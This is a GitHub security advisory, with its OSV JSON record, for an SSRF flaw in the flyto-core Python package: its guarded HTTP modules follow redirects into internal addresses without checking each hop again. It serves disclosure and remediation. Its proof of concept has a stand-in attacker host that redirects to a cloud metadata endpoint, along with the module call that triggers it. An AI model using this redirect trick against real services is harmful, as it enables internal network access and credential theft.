GHSA-C9HR-64H3-GXPC
Vulnerability from github – Published: 2026-07-30 14:48 – Updated: 2026-07-30 14:48Summary
The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.
Root Cause
src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.
Impact
Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.
Proof of Concept
Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.
attacker hosts http://attacker.tld/r -> 302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}
Attack Chain
- Entry:
execute_module http.get {url:"http://attacker.tld/r"}(attacker 302->internal). Guard:validate_url_with_env_config(url)(get.py:104). Bypass proof: validation runs onattacker.tld(public) → passes; never re-run on the redirect target. - Sink:
session.get(url)(get.py:116) — noallow_redirectsarg → aiohttp default True. Bypass proof: grep ofhttp/foron_request_redirect/response.history→ NONE. - Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).
Bypass Evidence
Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allow_redirects=True; module never sets it False; no per-hop revalidation exists.
Affected Versions
<= 2.26.6 — get.py:116, request.py:60, batch.py:57 present on latest release tag.
Suggested Fix
Set allow_redirects=False and manually revalidate each Location header through validate_url_with_env_config before following, or cap and re-check every hop.
Credit
Vulnerability discovered by zx (Jace).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.26.6"
},
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67424"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:48:16Z",
"nvd_published_at": "2026-07-29T19:16:51Z",
"severity": "HIGH"
},
"details": "## Summary\nThe HTTP modules that DO call the SSRF guard (`http.get`, `http.request`, `http.batch`) validate only the initial URL, then issue the request with aiohttp\u0027s default `allow_redirects=True` and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.\n\n## Root Cause\n`src/core/modules/atomic/http/get.py:116` calls `session.get(url, ...)` with no `allow_redirects` argument \u2192 aiohttp default `True`. `request.py:60` sets `allow_redirects=follow_redirects` (default True at :327); `batch.py:57` likewise. A repo grep of `http/` for `on_request_redirect` / `response.history` returns NONE \u2014 there is no redirect interception or Location revalidation.\n\n## Impact\nFull readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.\n\n## Proof of Concept\nVerified live: `http.get` with allowlisted base `127.0.0.1` followed a `302 Location: http://127.0.0.2/...` (non-allowlisted) and returned `INTERNAL-VIA-REDIRECT`.\n```\nattacker hosts http://attacker.tld/r -\u003e 302 Location: http://\u003ccloud-metadata-ip\u003e/latest/meta-data/...\nexecute_module http.get {\"url\":\"http://attacker.tld/r\"}\n```\n\n## Attack Chain\n1. Entry: `execute_module http.get {url:\"http://attacker.tld/r\"}` (attacker 302-\u003einternal). Guard: `validate_url_with_env_config(url)` (get.py:104). Bypass proof: validation runs on `attacker.tld` (public) \u2192 passes; never re-run on the redirect target.\n2. Sink: `session.get(url)` (get.py:116) \u2014 no `allow_redirects` arg \u2192 aiohttp default True. Bypass proof: grep of `http/` for `on_request_redirect`/`response.history` \u2192 NONE.\n3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).\n\n## Bypass Evidence\nLive PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp `ClientSession.get` default `allow_redirects=True`; module never sets it False; no per-hop revalidation exists.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 `get.py:116`, `request.py:60`, `batch.py:57` present on latest release tag.\n\n## Suggested Fix\nSet `allow_redirects=False` and manually revalidate each `Location` header through `validate_url_with_env_config` before following, or cap and re-check every hop.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
"id": "GHSA-c9hr-64h3-gxpc",
"modified": "2026-07-30T14:48:17Z",
"published": "2026-07-30T14:48:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-c9hr-64h3-gxpc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67424"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.